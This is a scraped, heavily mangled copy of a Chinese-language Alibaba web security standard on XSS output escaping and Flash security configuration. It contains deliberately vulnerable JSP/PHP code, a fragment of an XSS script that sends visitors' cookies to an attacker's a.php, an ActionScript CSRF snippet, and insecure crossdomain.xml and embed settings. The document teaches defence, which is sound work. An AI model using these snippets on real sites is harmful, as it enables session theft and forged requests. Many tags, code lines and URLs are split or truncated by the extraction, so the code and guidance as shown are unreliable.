阿里巴巴集团web安全标准Ver14文档格式.docx
《阿里巴巴集团web安全标准Ver14文档格式.docx》由会员分享,可在线阅读,更多相关《阿里巴巴集团web安全标准Ver14文档格式.docx(53页珍藏版)》请在冰豆网上搜索。
<
tr>
td>
<
%=rs.getInt("
id"
)%>
/td>
%=rs.getString("
pname"
)%>
pdesc"
ptype"
/tr>
%
}
代码中这几个加粗的变量“rs.getInt("
)、rs.getString("
)”,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。
PHP代码示例
?
=$row["
]?
>
]?
攻击实例
如果“代码示例”中的代码,是上的一个web应用,恶意用户可以做以下攻击。
攻击流程:
1、添加产品时插入恶意脚本
攻击者发布产品后,等待用户来浏览产品列表页面。
2、一个用户浏览了页面
页面代码
页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。
将执行
脚本内容:
a=document.createElement("
iframe"
);
functionb(){e=escape(document.cookie);
c=["
获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。
这时,用户的cookie已经发送到了攻击者的服务器上,攻击者可以打开haha.txt文件。
这就是刚才那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。
之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。
解决方案
HTML/XML页面输出规范:
1,在HTML/XML中显示“用户可控数据”前,应该进行htmlescape转义。
JAVA示例:
div>
#escapeHTML($user.name)<
/div>
<
#escapeHTML($user.name)<
所有HTML和XML中输出的数据,都应该做htmlescape转义。
escapeHTML函数参考esapi实现:
PHP示例:
htmlentities($row["
user.name"
])<
escapeHTML需要进行html转义应该按照以下列表进行转义
&
-->
&
amp;
lt;
>
gt;
"
quot;
'
#39;
2,在javascript内容中输出的“用户可控数据”,需要做javascriptescape转义。
html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。
script>
alert('
#escapeJavaScript($user.name)'
)<
/script>
x='
divonmouseover="
"
需要转义的字符包括
/-->
\/
'
-->
\'
\"
\-->
\\
escapeJavaScript函数参考esapi实现:
3,对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出HTML的情况)。
示例(Fasttext框架):
文章内容:
#SHTML($article.context)<
安全过滤的代码,请参考“Fasttext框架”的富文本输出函数。
Fasttext源码:
http:
//svn.alibaba-
4,输出在url中的数据,做url安全输出。
一些html标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。
以下属性的值,如果是用户可控数据,需要做安全检查
action'
'
background'
codebase'
dynsrc'
href'
lowsrc'
src'
这些属性的值,一般都是一个URL,如果整串URL都是由“用户可控数据”组成的,则必须满足以下条件:
1)以“http”开头
char[]uc=url.toCharArray();
if(uc[0]!
='
h'
||uc[1]!
t'
||uc[2]!
||uc[3]!
p'
){
return"
;
}
2)转义“用户可控数据”中的以下字符
%3C
%3E
%22
%27
举例使用:
ahref=”#surl($url)”>
链接<
/a>
imgsrc=”#surl($imgurl)”>
。
Surl函数参考fasttext框架中的实现:
5,针对DOM跨站的解决方案,详见《javascript安全编码规范》,URL在
//security.alibaba-
6,在给用户设置认证COOKIE时,加入HTTPONLY,详见《Cookiehttponlyflag》章节。
7,在style内容中输出的“用户可控数据”,需要做CSSescape转义。
Stringsafe=ESAPI.encoder().encodeForCSS(request.getParameter("
input"
));
encodeForCSS实现代码参考:
AJAX输出规范:
1、XML输出“用户可控数据”时,对数据部分做HTML转义。
示例:
xmlversion="
1.0"
encoding="
UTF-8"
?
<
man>
name>
#xmlEscape($name)<
/name>
2、json输出要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次javascriptEscape。
Stringcityname=”浙江<
B>
”+StringUtil.htmlEscape(city.name)+”<
/B>
”;
Stringjson=
citys:
{city:
['
+
StringUtil.javascript(cityname)+
]}"
3、非xml输出(包括json、其他自定义数据格式),response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。
response.setContentType("
application/json"
PrintWriterout=response.getWriter();
out.println(StringUtil.htmlEscape(ajaxReturn));
FLASH
FLASH安全
利用flash服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户端的flash文件发起各种请求或者攻击客户端的页面。
FLASH的安全问题主要有服务端的安全设计问题和客户端的flash安全两块:
1、服务端的安全
由于没有正确的配置域策略文件,导致客户端的flash文件能够绕过同源策略的限制跨域获取数据。
2、客户端安全
客户端在嵌入flash文件的时候没有指定flash文件的客户端限制策略,导致嵌入在客户端的flash文件可以访问HTML页面的DOM数或者发起跨域请求。
恶意攻击者利用FLASH的安全问题可以:
1、绕过浏览器同源策略的限制发起跨域请求,比如发起CSRF攻击等。
2、直接更改页面的dom树,发起钓鱼或者跨站攻击。
服务器端crossdomain.xml的错误配置:
cross-domain-policy>
allow-access-fromdomain="
*"
/>
/cross-domain-policy>
这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它域发起的。
客户端嵌入flash的错误配置:
objectclassid="
clsid:
d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase=
name="
Main"
width="
1000"
height="
600"
align="
middle"
id="
embedflashvars="
site=&
sitename="
src=”用户自定仪的一个flash文件”name="
allowscriptaccess="
always"
type="
application/x-shockwave-flash"
pluginspage="
/object>
例子中的allowscriptaccess选项为always,这样的配置会使flash对于html的通讯也就是执行javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本域的flash与html通讯,建议设置为never;
例子中没有设置allowNetworking选项,需要把allowNetworking设置为none,因为allowNetworking在设置为all(默认是)或者是internal的情况下会存在发生csrfCSRF的风险,因为flash发起网络请求继承的是浏览器的会话,而且会带上sessioncookie和本地cookie。
1.引发XSS攻击:
在一个页面中嵌入flash的代码如下:
body>
hi>
MyFlashMovie<
/h1>
objecttype=”application/x-shockwave-flash”width=”550”heigt=”400”>
paramname=”allovwScriptAccess”value=”sameDomain”>
paramname=”movie”value=”myMovie.swf”>
paramname=”quality”value=”high”>
paramname=”bgcolor”value=”#ffffff”>
embedsrc=”myMove.swf”width=”550”height=”400”>
/embed>
/body>
用户可以在同域下的某个地方上传一个flash文件
如果用户制作一个flash代码如下:
VarsecretUsername=“cnben”;
VarsecretPassword=“hello1234”;
outputBox.htmlText=“pleaseenterapassword”;
functioncheckpassword(){
outputBox.htmlText=“Youmustbeavaliduser.”;
}else{
outputBox.htmlText=usernameBox.text+”error”
FunctionserPassword(newPassword:
String){
secretPassword=newPassword;
下面的请求将包含并执行一个存放在远程主机是哪个的javascript文件:
src=”
2.发起CSRF攻击
如果allowNetworking选项没有做配置,默认为all,这种情况下,上传一个如下代码的swf文件,用户访问包含这个swf文件的额网页将发起一次CSRF攻击:
import.URLRequest;
importflash.system.Security;
varurl=newURLRequest("
提交的目标地址"
varParam=newURLVariables();
Param="
参数"
url.method="
POST"
url.data=Param;
sendToURL(url);
stop();
Flash配置规范:
1、Crossdomain.xml的安全配置:
如果没有flash应用,去掉crossdomian.xml文件,对有flash应用域的根目录下需要配置crossdomain.xml策略文件,设置为只允许来自特定域的请求,比如淘宝的配置文件如下:
/>
不允许添加<
site-controlpermitted-cross-domain-policies="
by-content-type"
,这样会导致客户端可能自己加载自定义策略文件。
2、客户端嵌入flash文件的安全配置:
1)禁止设置flash的allowscriptaccess为always,必须设置为never,如果设置为SameDomain,需要客户可以上传的flash文件要在单独的一个域下。
2)设置allowNetworking选项为none。
3)设置allowfullscreen选项为false。
如下配置:
embedallowscriptaccess="
never"
allowNetworking=”none”allowfullscreen=”false”height=384width=454src=”用户自定义的一个flash文件”wmode="
transparent"
loop="
false"
autostart="
flash开发规范:
1、移除敏感信息
确认没有包含像用户名、密码、SQL查询或者其他认证信息在swf文件里面,因为swf文件能够被简单的反编译而使信息泄露
2、客户端的验证
客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端和服务端都做一次验证,但是服务端的验证不能少
3、去除调试信息
去除类似于“trace”和其他一些调试语句,因为他们能够暴露代码或数据的功能,如下代码片段暴露了该段代码的验证功能:
If(checklogin)
{
Userlogin=ture;
trace(“管理员验证成功”);
4、参数传入
如果有加载外部数据的需求,尽量不要在html中用“params”标签或者是querystring这种形式来注入数据到swf文件中。
可以的办法是通过sever端的一个http请求来得到参数。
5、allowDomain()
flash文件如果有和其他swf文件通信的需求,需要在swf中配置allowDomain()为制定的来源,禁止用*符号来允许任意来源
如下AS代码被严格禁止:
System.security.allowDomain("
loadMovie(param1,param2);
6、ActionScript2.0未初始化全局变量
AS2.0中接受用户通过FlashVars和Querystring中传入的数据并放到全局变量空间中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下AS代码片段所示:
If(Userlogin)
ShowData();
如果用户在GET请求或者在HTML中作为一个对象参数将userLoggedIn设为true,如下所示:
解决方案:
AS2.0使用_resolve属性捕获未定义的变量或函数,如下所示:
//instantiateanewobject
varmyObject:
Object=newObject();
//definethe__resolvefunction
myObject.__resolve=function(name){
未定义的变量"
};
7、加载调用外部文件
当FLASH加载调用外部文件的时候需要过滤掉里面的恶意内容,
主要有metadata里面